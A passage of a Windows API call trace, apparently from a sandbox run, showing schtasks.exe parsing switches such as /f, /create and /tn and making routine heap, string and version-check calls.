(_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.009] lstrlenW (lpString="f") returned 1 [0155.009] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.009] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|query|") returned 7 [0155.009] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|f|") returned 3 [0155.009] lstrlenW (lpString="|query|") returned 7 [0155.009] lstrlenW (lpString="|f|") returned 3 [0155.009] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0155.009] SetLastError (dwErrCode=0x490) [0155.009] lstrlenW (lpString="change") returned 6 [0155.009] lstrlenW (lpString="change") returned 6 [0155.009] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.009] lstrlenW (lpString="f") returned 1 [0155.017] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.017] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|change|") returned 8 [0155.017] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|f|") returned 3 [0155.017] lstrlenW (lpString="|change|") returned 8 [0155.017] lstrlenW (lpString="|f|") returned 3 [0155.017] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0155.017] SetLastError (dwErrCode=0x490) [0155.018] lstrlenW (lpString="run") returned 3 [0155.018] lstrlenW (lpString="run") returned 3 [0155.018] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.018] lstrlenW (lpString="f") returned 1 [0155.018] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.018] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|run|") returned 5 [0155.018] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|f|") returned 3 [0155.018] lstrlenW (lpString="|run|") returned 5 [0155.018] lstrlenW (lpString="|f|") returned 3 [0155.018] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0155.018] SetLastError (dwErrCode=0x490) [0155.018] lstrlenW (lpString="end") returned 3 [0155.018] lstrlenW (lpString="end") returned 3 [0155.018] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.018] lstrlenW (lpString="f") returned 1 [0155.018] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.018] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|end|") returned 5 [0155.018] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|f|") returned 3 [0155.018] lstrlenW (lpString="|end|") returned 5 [0155.018] lstrlenW (lpString="|f|") returned 3 [0155.018] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0155.018] SetLastError (dwErrCode=0x490) [0155.018] lstrlenW (lpString="showsid") returned 7 [0155.018] lstrlenW (lpString="showsid") returned 7 [0155.018] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.018] lstrlenW (lpString="f") returned 1 [0155.019] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.019] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|showsid|") returned 9 [0155.019] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|f|") returned 3 [0155.019] lstrlenW (lpString="|showsid|") returned 9 [0155.019] lstrlenW (lpString="|f|") returned 3 [0155.019] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0155.019] SetLastError (dwErrCode=0x490) [0155.019] SetLastError (dwErrCode=0x490) [0155.019] SetLastError (dwErrCode=0x0) [0155.019] lstrlenW (lpString="/f") returned 2 [0155.019] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0155.019] SetLastError (dwErrCode=0x490) [0155.019] SetLastError (dwErrCode=0x0) [0155.019] lstrlenW (lpString="/f") returned 2 [0155.019] GetProcessHeap () returned 0x430000 [0155.019] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x6) returned 0x44ddb0 [0155.019] GetProcessHeap () returned 0x430000 [0155.019] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cd30 [0155.019] SetLastError (dwErrCode=0x0) [0155.019] GetProcessHeap () returned 0x430000 [0155.019] GetProcessHeap () returned 0x430000 [0155.019] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44c1a0) returned 1 [0155.019] GetProcessHeap () returned 0x430000 [0155.019] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44c1a0) returned 0x8 [0155.019] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44c1a0 | out: hHeap=0x430000) returned 1 [0155.019] GetProcessHeap () returned 0x430000 [0155.019] GetProcessHeap () returned 0x430000 [0155.019] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44cbb0) returned 1 [0155.019] GetProcessHeap () returned 0x430000 [0155.020] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44cbb0) returned 0x20 [0155.020] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44cbb0 | out: hHeap=0x430000) returned 1 [0155.020] GetProcessHeap () returned 0x430000 [0155.020] GetProcessHeap () returned 0x430000 [0155.020] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44d4a0) returned 1 [0155.020] GetProcessHeap () returned 0x430000 [0155.020] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44d4a0) returned 0xc [0155.020] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44d4a0 | out: hHeap=0x430000) returned 1 [0155.020] GetProcessHeap () returned 0x430000 [0155.020] GetProcessHeap () returned 0x430000 [0155.020] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44cbe0) returned 1 [0155.020] GetProcessHeap () returned 0x430000 [0155.020] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44cbe0) returned 0x20 [0155.021] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44cbe0 | out: hHeap=0x430000) returned 1 [0155.021] GetProcessHeap () returned 0x430000 [0155.021] GetProcessHeap () returned 0x430000 [0155.021] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44dc70) returned 1 [0155.021] GetProcessHeap () returned 0x430000 [0155.021] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44dc70) returned 0x8 [0155.021] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44dc70 | out: hHeap=0x430000) returned 1 [0155.021] GetProcessHeap () returned 0x430000 [0155.021] GetProcessHeap () returned 0x430000 [0155.021] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44cc10) returned 1 [0155.021] GetProcessHeap () returned 0x430000 [0155.021] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44cc10) returned 0x20 [0155.021] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44cc10 | out: hHeap=0x430000) returned 1 [0155.021] GetProcessHeap () returned 0x430000 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44d4c0) returned 1 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44d4c0) returned 0xe [0155.022] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44d4c0 | out: hHeap=0x430000) returned 1 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44cc40) returned 1 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44cc40) returned 0x20 [0155.022] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44cc40 | out: hHeap=0x430000) returned 1 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44dc90) returned 1 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44dc90) returned 0x8 [0155.022] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44dc90 | out: hHeap=0x430000) returned 1 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44cc70) returned 1 [0155.022] GetProcessHeap () returned 0x430000 [0155.022] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44cc70) returned 0x20 [0155.023] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44cc70 | out: hHeap=0x430000) returned 1 [0155.023] GetProcessHeap () returned 0x430000 [0155.023] GetProcessHeap () returned 0x430000 [0155.023] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44dcb0) returned 1 [0155.023] GetProcessHeap () returned 0x430000 [0155.023] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44dcb0) returned 0x6 [0155.023] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44dcb0 | out: hHeap=0x430000) returned 1 [0155.023] GetProcessHeap () returned 0x430000 [0155.023] GetProcessHeap () returned 0x430000 [0155.023] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44cca0) returned 1 [0155.023] GetProcessHeap () returned 0x430000 [0155.023] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44cca0) returned 0x20 [0155.024] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44cca0 | out: hHeap=0x430000) returned 1 [0155.024] GetProcessHeap () returned 0x430000 [0155.024] GetProcessHeap () returned 0x430000 [0155.024] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44dcd0) returned 1 [0155.024] GetProcessHeap () returned 0x430000 [0155.024] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44dcd0) returned 0x8 [0155.024] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44dcd0 | out: hHeap=0x430000) returned 1 [0155.024] GetProcessHeap () returned 0x430000 [0155.024] GetProcessHeap () returned 0x430000 [0155.024] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44ccd0) returned 1 [0155.024] GetProcessHeap () returned 0x430000 [0155.024] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44ccd0) returned 0x20 [0155.025] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44ccd0 | out: hHeap=0x430000) returned 1 [0155.025] GetProcessHeap () returned 0x430000 [0155.025] GetProcessHeap () returned 0x430000 [0155.025] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44dd50) returned 1 [0155.025] GetProcessHeap () returned 0x430000 [0155.025] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44dd50) returned 0x54 [0155.025] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44dd50 | out: hHeap=0x430000) returned 1 [0155.025] GetProcessHeap () returned 0x430000 [0155.025] GetProcessHeap () returned 0x430000 [0155.025] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44cd00) returned 1 [0155.025] GetProcessHeap () returned 0x430000 [0155.025] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44cd00) returned 0x20 [0155.026] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44cd00 | out: hHeap=0x430000) returned 1 [0155.026] GetProcessHeap () returned 0x430000 [0155.026] GetProcessHeap () returned 0x430000 [0155.026] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44ddb0) returned 1 [0155.026] GetProcessHeap () returned 0x430000 [0155.026] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44ddb0) returned 0x6 [0155.026] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44ddb0 | out: hHeap=0x430000) returned 1 [0155.026] GetProcessHeap () returned 0x430000 [0155.026] GetProcessHeap () returned 0x430000 [0155.026] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44cd30) returned 1 [0155.026] GetProcessHeap () returned 0x430000 [0155.026] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44cd30) returned 0x20 [0155.026] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44cd30 | out: hHeap=0x430000) returned 1 [0155.027] GetProcessHeap () returned 0x430000 [0155.027] GetProcessHeap () returned 0x430000 [0155.027] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44b970) returned 1 [0155.027] GetProcessHeap () returned 0x430000 [0155.027] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44b970) returned 0x18 [0155.027] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44b970 | out: hHeap=0x430000) returned 1 [0155.027] SetLastError (dwErrCode=0x0) [0155.027] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0155.027] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0155.027] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0155.027] VerifyVersionInfoW (in: lpVersionInformation=0x23c130, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x23c130) returned 1 [0155.027] SetLastError (dwErrCode=0x0) [0155.027] lstrlenW (lpString="create") returned 6 [0155.027] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0155.028] SetLastError (dwErrCode=0x490) [0155.028] SetLastError (dwErrCode=0x0) [0155.028] lstrlenW (lpString="create") returned 6 [0155.028] GetProcessHeap () returned 0x430000 [0155.028] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cd30 [0155.028] GetProcessHeap () returned 0x430000 [0155.028] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44d4c0 [0155.028] _memicmp (_Buf1=0x44d4c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.028] GetProcessHeap () returned 0x430000 [0155.028] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x16) returned 0x44d4a0 [0155.028] SetLastError (dwErrCode=0x0) [0155.028] _memicmp (_Buf1=0x44ba30, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.028] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44bbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0155.028] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0155.028] GetProcessHeap () returned 0x430000 [0155.028] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x74e) returned 0x44dd50 [0155.029] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x44dd50 | out: lpData=0x44dd50) returned 1 [0155.029] VerQueryValueW (in: pBlock=0x44dd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23c218, puLen=0x23c280 | out: lplpBuffer=0x23c218*=0x44e0ec, puLen=0x23c280) returned 1 [0155.029] _memicmp (_Buf1=0x44ba30, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.029] _vsnwprintf (in: _Buffer=0x44bbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23c1f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0155.029] VerQueryValueW (in: pBlock=0x44dd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23c288, puLen=0x23c278 | out: lplpBuffer=0x23c288*=0x44df18, puLen=0x23c278) returned 1 [0155.029] lstrlenW (lpString="schtasks.exe") returned 12 [0155.029] lstrlenW (lpString="schtasks.exe") returned 12 [0155.029] lstrlenW (lpString=".EXE") returned 4 [0155.029] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0155.029] lstrlenW (lpString="schtasks.exe") returned 12 [0155.029] lstrlenW (lpString=".EXE") returned 4 [0155.029] lstrlenW (lpString="schtasks") returned 8 [0155.029] lstrlenW (lpString="/create") returned 7 [0155.029] _memicmp (_Buf1=0x44ba30, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.029] _vsnwprintf (in: _Buffer=0x44bbd0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x23c1f8 | out: _Buffer="schtasks /create") returned 16 [0155.029] _memicmp (_Buf1=0x44ba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.029] GetProcessHeap () returned 0x430000 [0155.029] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cd00 [0155.030] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.030] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0155.030] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0155.030] GetProcessHeap () returned 0x430000 [0155.030] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x30) returned 0x447a70 [0155.030] _vsnwprintf (in: _Buffer=0x44bfd0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23c1f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0155.030] GetProcessHeap () returned 0x430000 [0155.030] GetProcessHeap () returned 0x430000 [0155.030] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44dd50) returned 1 [0155.030] GetProcessHeap () returned 0x430000 [0155.030] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44dd50) returned 0x74e [0155.030] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x44dd50 | out: hHeap=0x430000) returned 1 [0155.030] SetLastError (dwErrCode=0x0) [0155.030] GetThreadLocale () returned 0x409 [0155.030] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="create") returned 6 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="?") returned 1 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="s") returned 1 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="u") returned 1 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="p") returned 1 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="ru") returned 2 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="rp") returned 2 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="sc") returned 2 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="mo") returned 2 [0155.031] GetThreadLocale () returned 0x409 [0155.031] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.031] lstrlenW (lpString="d") returned 1 [0155.031] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="m") returned 1 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="i") returned 1 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="tn") returned 2 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="tr") returned 2 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="st") returned 2 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="sd") returned 2 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="ed") returned 2 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="it") returned 2 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="et") returned 2 [0155.032] GetThreadLocale () returned 0x409 [0155.032] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.032] lstrlenW (lpString="k") returned 1 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="du") returned 2 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="ri") returned 2 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="z") returned 1 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="f") returned 1 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="v1") returned 2 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="xml") returned 3 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="ec") returned 2 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="rl") returned 2 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.033] lstrlenW (lpString="delay") returned 5 [0155.033] GetThreadLocale () returned 0x409 [0155.033] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.034] lstrlenW (lpString="np") returned 2 [0155.034] SetLastError (dwErrCode=0x0) [0155.034] SetLastError (dwErrCode=0x0) [0155.034] lstrlenW (lpString="/create") returned 7 [0155.034] lstrlenW (lpString="-/") returned 2 [0155.034] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.034] lstrlenW (lpString="create") returned 6 [0155.034] lstrlenW (lpString="create") returned 6 [0155.034] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.034] lstrlenW (lpString="create") returned 6 [0155.034] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.034] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|create|") returned 8 [0155.034] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|create|") returned 8 [0155.034] lstrlenW (lpString="|create|") returned 8 [0155.034] lstrlenW (lpString="|create|") returned 8 [0155.034] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0155.034] SetLastError (dwErrCode=0x0) [0155.034] SetLastError (dwErrCode=0x0) [0155.034] SetLastError (dwErrCode=0x0) [0155.034] lstrlenW (lpString="/tn") returned 3 [0155.034] lstrlenW (lpString="-/") returned 2 [0155.034] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.034] lstrlenW (lpString="create") returned 6 [0155.034] lstrlenW (lpString="create") returned 6 [0155.034] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.034] lstrlenW (lpString="tn") returned 2 [0155.034] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.035] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|create|") returned 8 [0155.035] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.035] lstrlenW (lpString="|create|") returned 8 [0155.035] lstrlenW (lpString="|tn|") returned 4 [0155.035] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0155.035] SetLastError (dwErrCode=0x490) [0155.035] lstrlenW (lpString="?") returned 1 [0155.035] lstrlenW (lpString="?") returned 1 [0155.035] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.035] lstrlenW (lpString="tn") returned 2 